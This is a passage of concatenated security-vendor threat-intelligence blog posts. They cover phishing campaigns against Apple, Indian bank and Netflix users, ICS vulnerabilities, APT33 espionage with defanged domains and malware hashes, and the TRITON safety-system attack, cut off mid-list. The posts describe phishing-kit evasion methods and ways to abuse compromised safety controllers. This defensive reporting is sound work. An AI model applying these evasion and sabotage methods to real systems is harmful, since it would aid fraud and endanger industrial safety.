FireEye Endpoint Security with Exploit Guard helps to detect exploits and techniques used by ransomware attacks (and other threat activity) during execution and provides analysts with greater visibility. This helps your security team conduct more detailed investigations of broader categories of threats. This information enables your organization to quickly stop threats and adapt defenses as needed.

Conclusion

Ransomware has become an increasingly common and effective attack affecting enterprises, impacting productivity and preventing users from accessing files and data.

Mitigating the threat of ransomware requires strong endpoint controls, and may include technologies that allow security personnel to quickly analyze multiple systems and correlate events to identify and respond to threats.

HX with Exploit Guard uses behavioral intelligence to accelerate this process, quickly analyzing endpoints within your enterprise and alerting your team so they can conduct an investigation and scope the compromise in real-time.

Traditional defenses don’t have the granular view required to do this, nor can they connect the dots of discreet individual processes that may be steps in an attack. This takes behavioral intelligence that is able to quickly analyze a wide array of processes and alert on them so analysts and security teams can conduct a complete investigation into what has, or is, transpiring. This can only be done if those professionals have the right tools and the visibility into all endpoint activity to effectively find every aspect of a threat and deal with it, all in real-time. Also, at FireEye, we go one step ahead and contact relevant authorities to bring down these types of campaigns.

Click here for more information about Exploit Guard technology.

Overload: Critical Lessons from 15 Years of ICS Vulnerabilities

3 August 2016 at 12:00

In the past several years, a flood of vulnerabilities has hit industrial control systems (ICS) – the technological backbone of electric grids, water supplies, and production lines. These vulnerabilities affect the reliable operation of sensors, programmable controllers, software and networking equipment used to automate and monitor the physical processes that keep our modern world running.

FireEye iSIGHT Intelligence has identified nearly 1,600 publicly disclosed ICS vulnerabilities since 2000. We go more in depth on these issues in our latest report, Overload: Critical Lessons from 15 Years of ICS Vulnerabilities, which highlights trends in total ICS vulnerability disclosures, patch availability, vulnerable device type and vulnerabilities exploited in the wild.

FireEye’s acquisition of iSIGHT provided tremendous visibility into the depth and breadth of vulnerabilities in the ICS landscape and how threat actors try to exploit them. To make matters worse, many of these vulnerabilities are left unpatched and some are simply unpatchable due to outdated technology, thus increasing the attack surface for potential adversaries. In fact, nation-state cyber threat actors have exploited five of these vulnerabilities in attacks since 2009.

Unfortunately, security personnel from manufacturing, energy, water and other industries are often unaware of their own control system assets, not to mention the vulnerabilities that affect them. As a result, organizations operating these systems are missing the warnings and leaving their industrial environments exposed to potential threats.

Click here to download the report and learn more.

Rotten Apples: Resurgence

20 October 2016 at 12:00

In June 2016, we published a blog about a phishing campaign targeting the Apple IDs and passwords of Chinese Apple users that emerged in the first quarter of 2016 (referred to as the “Zycode” phishing campaign). At FireEye Labs we have an automated system designed to proactively detect newly registered malicious domains and this system had observed some phishing domains that were designed to appear as legitimate Apple domains. Most of the domains reported by this system were suspended in June 2016, which resulted in a loss of momentum for the Zycode phishing campaign. Throughout the second quarter of 2016, the Zycode phishing campaign was in hibernation.

We recently observed a resurgence of the same phishing campaign when our systems detected roughly 90 phony Apple-like domains that were registered from July 2016 to September 2016. Once again, Chinese Apple users are being targeted for their Apple IDs and passwords using the same content reported on in our earlier blog. The majority of these domains are registered in the .com TLD by email accounts from qq[.]com, and the IPs of these domains point to mainland China, as seen in Figure 1.

Figure 1: Google map showing the location of the hosted phishing domains

What has not Changed?

The attackers have not changed the content of the phishing sites. The obfuscated JavaScript used in the earlier version is once again being used here in this campaign. We have provided the details of JavaScript and screenshots of interaction with the website in our earlier blog.

What has Changed?

Apparently the domains and email addresses used in previous version of the campaign were effectively taken down. Now the attackers have moved to a new malicious infrastructure; new domains, IPs and email addresses are being used for this campaign. The new domain names for the campaign are listed in Table 1, while their IPs and registrant emails are reported in Table 2 and Table 3, respectively.

Domains List

Table 1: Apple phishing domains serving the Zycode phishing kit.

Unique IP(s)

Table 2 shows the list of unique IPs, which are not the same as what was seen before.

Table 2. IP addresses used by the domains.

Unique Email Addresses

The email addresses used to register these domains, showing no similarity with email addresses in the previous campaign, are shown in Table 3.

Table 3. List of unique registrant emails.

Unique Registrants

Table 4 shows the registrant names, which have no similarity with the previous registrant name information.

Table 4. List of registrant names used by the phishing domains.

How to Avoid Being a Victim

Apple provides information on phishing here and here, and on iCloud security here. There are simple ways for a user to be more secure against this and similar attacks. The following are a few tips:

  • Enable two-factor authentication for Apple ID.
  • Always check the address bar for the correct web address.
  • Avoid clicking links in emails and SMS messages that supposedly direct to iCloud pages.
  • Use our FireEye EX appliance, which provides effective detection for the Zycode phishing campaign.

‘One-Stop Shop’ – Phishing Domain Targets Information from Customers of Several Indian Banks

30 November 2016 at 17:13

FireEye Labs recently discovered a malicious phishing domain designed to steal a variety of information – including credentials and mobile numbers – from customers of several banks in India. Currently, we have not observed this domain being used in any campaigns. The phishing websites appear to be in the earlier stages of development and through this post we hope users will be able to identify these types of emerging threats in the future.

FireEye phishing detection technology identified a newly registered domain, “csecurepay[.]com”, that was registered on Oct. 23, 2016. The website purports to offer online payment gateway services, but is actually a phishing website that leads to the capturing of victim logon credentials – and other information – for multiple banks operating in India.

Prior to publication, FireEye notified the Indian Computer Emergency Response Team.

Phishing Template Presentation and Techniques

Step 1

URL: hxxp://csecurepay[.]com/load-cash-step2.aspx

When navigating to the URL, the domain appears to be a payment gateway and requests that the user enter their bank account number and the amount to be transferred, as seen in Figure 1. The victim is allowed to choose their bank from a list that is provided.

Figure 1: Bank information being requested

By looking at the list, it is clear that only Indian banks are being targeted at this time. A total of 26 banks are available and these are named in the Appendix.

Step 2

URL:  hxxp://csecurepay[.]com/PaymentConfirmation.aspx

The next website requests the victim to enter their valid 10-digit mobile number and email ID (Figure 2), which makes the website appear more legitimate.

Figure 2: Personal information being requested

Step 3

The victim will then be redirected to the spoofed online banking page of the bank they selected, which requests that they log in using their user name and password. Figure 3 shows a fake login page for State Bank of India. See the Appendix for more banks that have spoofed login pages.

Figure 3: Fake login page for State Bank of India

After entering their login credentials, the victim will be asked to key in their One Time Password (OTP), as seen in Figure 4.

Figure 4: OTP being requested

Step 4

URL: hxxp://csecurepay[.]com/Final.aspx

Once all of the sensitive data is gathered, a fake failed login message will be displayed to the victim, as seen in Figure 5.

Figure 5: Fake error message being displayed

Credit and Debit Card Phishing Website

Using the registrant information from the csecurepay domain, we found another domain registered by the phisher as “nsecurepay[.]com”. The domain, registered in latest August 2016, aims to steal credit and debit card information.

The following are among the list of cards that are targeted:

1.     ICICI Credit Card

2.     ICICI Debit Card

3.     Visa/Master Credit Card

4.     Visa/Master Debit Card

5.     SBI Debit Card Only

At the time of this writing, the nsecurepay website was producing errors when redirecting to spoofed credit and debit card pages. Figure 6 shows the front end.

Figure 6: Nsecurepay front end

Conclusion

Phishing has its own development lifecycle. It usually starts off with building the tools and developing the “hooks” for luring victims into providing their financial information. Once the phishing website (or websites) is fully operational, we typically begin to see a wave of phishing emails pointing to it.

In this case, we see that phishing websites have been crafted to spoof multiple banks in India. These attackers can potentially grab sensitive online banking information and other personal data, and even provided support for multifactor authentication and OTP. Moreover, disguising the initial presentation to appear as an online payment gateway service makes the phishing attack seem more legitimate.

FireEye Labs detects this phishing attack and customers will be protected against the usage of these sites in possible future campaigns.

Appendix

Fake login pages were served for 26 banks. The following is a list of some of the banks:

-Bank of Baroda - Corporate

-Bank of Baroda - Retail

-Bank of Maharashtra

-HDFC Bank

Figure 7: HDFC Bank fake login page

-ICICI Bank

-IDBI Bank

-Indian Bank

-IndusInd Bank

-Jammu and Kashmir Bank

-Kotak Bank

-Lakshmi Vilas Bank - Corporate

-Lakshmi Vilas Bank - Retail

-State Bank of Hyderabad

-State Bank of India

-State Bank of Jaipur

-State Bank of Mysore

-State Bank of Patiala

-State Bank of Bikaner

-State Bank of Travancore

-Tamilnad Mercantile Bank

-United Bank of India

Credit Card Data and Other Information Targeted in Netflix Phishing Campaign

9 January 2017 at 16:00
Introduction

Through FireEye’s Email Threat Prevention (ETP) solution, FireEye Labs discovered a phishing campaign in the wild targeting the credit card data and other personal information of Netflix users primarily based in the United States.

This campaign is interesting because of the evasion techniques that were used by the attackers:

  • The phishing pages were hosted on legitimate, but compromised web servers.
  • Client-side HTML code was obfuscated with AES encryption to evade text-based detection.
  • Phishing pages were not displayed to users from certain IP addresses if its DNS resolved to companies such as Google or PhishTank.

At the time of posting, the phishing websites we observed were no longer active.

Attack Flow

The attack seems to start with an email notification – sent by the attackers – that asks the user to update their Netflix membership details. The phishing link inside the email body directs recipients to a page that attempts to mimic a Netflix login page, as seen in Figure 1.

Figure 1: Fake login page mimicking the Netflix website

Upon submitting their credentials, victims are then directed to webpages requesting additional membership details (Figure 2) and payment information (Figure 3). These websites also attempt to mimic authentic Netflix webpages and appear legitimate. Once the user has entered their information, they are taken to the legitimate Netflix homepage.

Figure 2: Fake webpage asking users to update their personal details

Figure 3: Netflix phishing webpage used to steal credit card information

Technical Details

The phishing kit uses techniques to evade phishing filters. One technique is the use of AES encryption to encode the content presented at the client’s side, as seen in Figure 4. The purpose of using this technique is code obfuscation, which helps to evade text-based detection. By obfuscating the webpage, attackers try to deceive text-based classifiers and prevent them from inspecting webpage content. This technique employs two files, a PHP and a JavaScript file that have functions to encrypt and decrypt input strings. The PHP file is used to encrypt the webpages at the server side, as seen in Figure 5. At the client side, the encrypted content is decoded using a defined function in the JavaScript file, as seen in Figure 6. Finally, the webpage is rendered using the ‘document.write’ function.

Figure 4: Client-side code obfuscation using AES encryption

Figure 5: PHP code used at server side for encryption

Figure 6: JavaScript code used at client-side for decryption

Another technique is the host-based evasion, as seen in Figure 7. The host name of organizations such as ‘phishtank’ and ‘google’ are blacklisted. The host name of the client is compared against a list of blacklisted host names. If there is a match against the blacklist, a “404 Not Found” error page is presented.

Figure 7: Server side code for blacklisting known hosts. Click image to enlarge.

As with the majority of phishing attacks, this campaign uses PHP mail utility to send the attacker the stolen credentials. The advantage of using this technique is that the attacker can host their phishing kits on a number of websites and still get the stolen credentials and other information from a single email account. This enables attackers to extend their reach.

Figure 8: Stolen information is sent to an email address using mail() function

Tips to Secure your Netflix Account

To learn more about securing your Netflix account, Netflix provides additional information on how to keep your account safe from phishing scams and other fraudulent activity at https://www.netflix.com/security.

What About the Plant Floor? Six Subversive Concerns for ICS Environments

12 April 2017 at 12:00

Industrial enterprises such as electric utilities, petroleum companies, and manufacturing organizations invest heavily in industrial control systems (ICS) to efficiently, reliably, and safely operate industrial processes. Without this technology operating the plant floor, these businesses cannot exist.

Board members, executives, and security officers are often unaware that the technology operating the economic engine of their enterprise invites undetected subversion.  

In this paper, FireEye iSIGHT Intelligence prepares risk executives and security practitioners to knowledgeably discuss six core weaknesses an adversary can use to undermine a plant's operation:

  • Unauthenticated protocols
  • Outdated hardware
  • Weak user authentication
  • Weak file integrity checks
  • Vulnerable Windows operating systems
  • Undocumented third-party relationships

Download the report to learn more. To discuss these six subversive vulnerabilities threatening today’s industrial environments, register for our live webinar scheduled for Tuesday, April 25 at 11:00am ET/8:00am PT. Explore the implications and how to address them firsthand with our ICS intelligence experts.

Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware

20 September 2017 at 14:00

When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations. This blog highlights some of our analysis. Our detailed report on FireEye Threat Intelligence contains a more thorough review of our supporting evidence and analysis. We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m. ET.

Targeting

APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.

From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings.

During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals. More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company.

We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia.

We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies. Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies. APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region. 

The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors.

Figure 1 shows the global scope of APT33 targeting.


Figure 1: Scope of APT33 Targeting

Spear Phishing

APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals.

An example .hta file excerpt is provided in Figure 2. To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor.


Figure 2: Excerpt of an APT33 malicious .hta file

We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016. Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement. However, in a few cases, APT33 operators left in the default values of the shell’s phishing module. These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed.

As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address ([email protected][.]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”).


Figure 3: ALFA TEaM Shell v2-Fake Mail (Default)

Figure 4 shows an example email containing the default values the shell.


Figure 4: Example Email Generated by the ALFA Shell with Default Values

Domain Masquerading

APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.    

The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia.

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base.

Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services.

Two of the domains appeared to mimic Northrop Grumman joint ventures. These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia. Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard.

Identified Persona Linked to Iranian Government

We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries.

We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples. An example can be seen in Figure 5.


Figure 5: “xman_1365_x" PDB String in TURNEDUP Sample

Xman_1365_x was also a community manager in the Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups.

Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government. Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil. In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil. While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government.

Potential Ties to Destructive Capabilities and Comparisons with SHAMOON

One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT. Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia.

Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT. The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration. Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran).

While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper. It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case.

In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.

We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33. For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally. APT33 has also utilized a wide range of custom and publicly available tools during their operations. In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle.

Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON. Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations.

Additional Ties Bolster Attribution to Iran

APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored. This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government.

The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC). The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC.

APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday. This is evident by the lack of attacker activity on Thursday, as shown in Figure 6. Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday. Many other Middle East countries have elected to have a Friday and Saturday weekend. Iran is one of few countries that subscribes to a Saturday to Wednesday workweek.

APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups. The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups. While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran.


Figure 6: APT33 Interactive Commands by Day of Week

Outlook and Implications

Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries. Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor. APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making. Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production. We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate.

APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools. The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations.

Appendix

Malware Family Descriptions

Malware Family

Description

Availability

DROPSHOT

Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware

Non-Public

NANOCORE

Publicly available remote access Trojan (RAT) available for purchase. It is a full-featured backdoor with a plugin framework

Public

NETWIRE

Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features.

Public

TURNEDUP

Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information

Non-Public

Indicators of Compromise

APT33 Domains Likely Used in Initial Targeting

Domain

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

APT33 Domains / IPs Used for C2

C2 Domain

MALWARE

managehelpdesk[.]com

NANOCORE

microsoftupdated[.]com

NANOCORE

osupd[.]com

NANOCORE

mywinnetwork.ddns[.]net

NETWIRE

www.chromup[.]com

TURNEDUP

www.securityupdated[.]com

TURNEDUP

googlmail[.]net

TURNEDUP

microsoftupdated[.]net

TURNEDUP

syn.broadcaster[.]rocks

TURNEDUP

www.googlmail[.]net

TURNEDUP

Publicly Available Tools used by APT33

MD5

MALWARE

Compile Time (UTC)

3f5329cf2a829f8840ba6a903f17a1bf

NANOCORE

2017/1/11 2:20

10f58774cd52f71cd4438547c39b1aa7

NANOCORE

2016/3/9 23:48

663c18cfcedd90a3c91a09478f1e91bc

NETWIRE

2016/6/29 13:44

6f1d5c57b3b415edc3767b079999dd50

NETWIRE

2016/5/29 14:11

Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

0ccc9ec82f1d44c243329014b82d3125

DROPSHOT

(drops SHAPESHIFT

n/a - timestomped

fb21f3cea1aa051ba2a45e75d46b98b8

DROPSHOT

n/a - timestomped

3e8a4d654d5baa99f8913d8e2bd8a184

SHAPESHIFT

2016/11/14 21:16:40

6b41980aa6966dda6c3f68aeeb9ae2e0

SHAPESHIFT

2016/11/14 21:16:40

APT33 Malware MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

8e67f4c98754a2373a49eaf53425d79a

DROPSHOT (drops TURNEDUP)

2016/10/19 14:26

c57c5529d91cffef3ec8dadf61c5ffb2

TURNEDUP

2014/6/1 11:01

c02689449a4ce73ec79a52595ab590f6

TURNEDUP

2016/9/18 10:50

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

797bc06d3e0f5891591b68885d99b4e1

TURNEDUP

2015/3/12 5:59

8e6d5ef3f6912a7c49f8eb6a71e18ee2

TURNEDUP

2015/3/12 5:59

32a9a9aa9a81be6186937b99e04ad4be

TURNEDUP

2015/3/12 5:59

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

a813dd6b81db331f10efaf1173f1da5d

TURNEDUP

2015/3/9 16:56

de9e3b4124292b4fba0c5284155fa317

TURNEDUP

2015/3/9 16:56

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

b3d73364995815d78f6d66101e718837

TURNEDUP

2014/6/1 11:01

de7a44518d67b13cda535474ffedf36b

TURNEDUP

2014/6/1 11:01

b5f69841bf4e0e96a99aa811b52d0e90

TURNEDUP

2014/6/1 11:01

a2af2e6bbb6551ddf09f0a7204b5952e

TURNEDUP

2014/6/1 11:01

b189b21aafd206625e6c4e4a42c8ba76

TURNEDUP

2014/6/1 11:01

aa63b16b6bf326dd3b4e82ffad4c1338

TURNEDUP

2014/6/1 11:01

c55b002ae9db4dbb2992f7ef0fbc86cb

TURNEDUP

2014/6/1 11:01

c2d472bdb8b98ed83cc8ded68a79c425

TURNEDUP

2014/6/1 11:01

c6f2f502ad268248d6c0087a2538cad0

TURNEDUP

2014/6/1 11:01

c66422d3a9ebe5f323d29a7be76bc57a

TURNEDUP

2014/6/1 11:01

ae47d53fe8ced620e9969cea58e87d9a

TURNEDUP

2014/6/1 11:01

b12faab84e2140dfa5852411c91a3474

TURNEDUP

2014/6/1 11:01

c2fbb3ac76b0839e0a744ad8bdddba0e

TURNEDUP

2014/6/1 11:01

a80c7ce33769ada7b4d56733d02afbe5

TURNEDUP

2014/6/1 11:01

6a0f07e322d3b7bc88e2468f9e4b861b

TURNEDUP

2014/6/1 11:01

b681aa600be5e3ca550d4ff4c884dc3d

TURNEDUP

2014/6/1 11:01

ae870c46f3b8f44e576ffa1528c3ea37

TURNEDUP

2014/6/1 11:01

bbdd6bb2e8827e64cd1a440e05c0d537

TURNEDUP

2014/6/1 11:01

0753857710dcf96b950e07df9cdf7911

TURNEDUP

2013/4/10 10:43

d01781f1246fd1b64e09170bd6600fe1

TURNEDUP

2013/4/10 10:43

1381148d543c0de493b13ba8ca17c14f

TURNEDUP

2013/4/10 10:43

Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure

14 December 2017 at 15:00

Introduction

Mandiant recently responded to an incident at a critical infrastructure organization where an attacker deployed malware designed to manipulate industrial safety systems. The targeted systems provided emergency shutdown capability for industrial processes. We assess with moderate confidence that the attacker was developing the capability to cause physical damage and inadvertently shutdown operations. This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack.

TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016. TRITON is consistent with these attacks, in that it could prevent safety mechanisms from executing their intended function, resulting in a physical consequence.

Malware Family

Main Modules

Description

TRITON

trilog.exe

Main executable leveraging libraries.zip

library.zip

Custom communication library for interaction with Triconex controllers.

Table 1: Description of TRITON Malware

Incident Summary

The attacker gained remote access to an SIS engineering workstation and deployed the TRITON attack framework to reprogram the SIS controllers. During the incident, some SIS controllers entered a failed safe state, which automatically shutdown the industrial process and prompted the asset owner to initiate an investigation. The investigation found that the SIS controllers initiated a safe shutdown when application code between redundant processing units failed a validation check -- resulting in an MP diagnostic failure message.

We assess with moderate confidence that the attacker inadvertently shutdown operations while developing the ability to cause physical damage for the following reasons:

  • Modifying the SIS could prevent it from functioning correctly, increasing the likelihood of a failure that would result in physical consequences.
  • TRITON was used to modify application memory on SIS controllers in the environment, which could have led to a failed validation check.
  • The failure occurred during the time period when TRITON was used.
  • It is not likely that existing or external conditions, in isolation, caused a fault during the time of the incident.

Attribution

FireEye has not connected this activity to any actor we currently track; however, we assess with moderate confidence that the actor is sponsored by a nation state. The targeting of critical infrastructure as well as the attacker’s persistence, lack of any clear monetary goal and the technical resources necessary to create the attack framework suggest a well-resourced nation state actor.  Specifically, the following facts support this assessment:

The attacker targeted the SIS suggesting an interest in causing a high-impact attack with physical consequences. This is an attack objective not typically seen from cyber-crime groups.

The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that they had pre-built and tested the tool which would require access to hardware and software that is not widely available. TRITON is also designed to communicate using the proprietary TriStation protocol which is not publicly documented suggesting the adversary independently reverse engineered this protocol.

The targeting of critical infrastructure to disrupt, degrade, or destroy systems is consistent with numerous attack and reconnaissance activities carried out globally by Russian, Iranian, North Korean, U.S., and Israeli nation state actors. Intrusions of this nature do not necessarily indicate an immediate intent to disrupt targeted systems, and may be preparation for a contingency.

Background on Process Control and Safety Instrumented Systems


Figure 1: ICS Reference Architecture

Modern industrial process control and automation systems rely on a variety of sophisticated control systems and safety functions. These systems and functions are often referred to as Industrial Control Systems (ICS) or Operational Technology (OT).

A Distributed Control System (DCS) provides human operators with the ability to remotely monitor and control an industrial process. It is a computerized control system consisting of computers, software applications and controllers. An Engineering Workstation is a computer used for configuration, maintenance and diagnostics of the control system applications and other control system equipment.

A SIS is an autonomous control system that independently monitors the status of the process under control. If the process exceeds the parameters that define a hazardous state, the SIS attempts to bring the process back into a safe state or automatically performs a safe shutdown of the process. If the SIS and DCS controls fail, the final line of defense is the design of the industrial facility, which includes mechanical protections on equipment (e.g. rupture discs), physical alarms, emergency response procedures and other mechanisms to mitigate dangerous situations.

Asset owners employ varied approaches to interface their plant's DCS with the SIS. The traditional approach relies on the principles of segregation for both communication infrastructures and control strategies. For at least the past decade, there has been a trend towards integrating DCS and SIS designs for various reasons including lower cost, ease of use, and benefits achieved from exchanging information between the DCS and SIS. We believe TRITON acutely demonstrates the risk associated with integrated designs that allow bi-directional communication between DCS and SIS network hosts.

Safety Instrumented Systems Threat Model and Attack Scenarios


Figure 2: Temporal Relationship Between Cyber Security and Safety

The attack lifecycle for disruptive attacks against ICS is similar to other types of cyber attacks, with a few key distinctions. First, the attacker’s mission is to disrupt an operational process rather than steal data. Second, the attacker must have performed OT reconnaissance and have sufficient specialized engineering knowledge to understand the industrial process being controlled and successfully manipulate it.

Figure 2 represents the relationship between cyber security and safety controls in a process control environment. Even if cyber security measures fail, safety controls are designed to prevent physical damage. To maximize physical impact, a cyber attacker would also need to bypass safety controls.

The SIS threat model below highlights some of the options available to an attacker who has successfully compromised an SIS.

Attack Option 1: Use the SIS to shutdown the process

  • The attacker can reprogram the SIS logic to cause it to trip and shutdown a process that is, in actuality, in a safe state. In other words, trigger a false positive.
  • Implication: Financial losses due to process downtime and complex plant start up procedure after the shutdown.

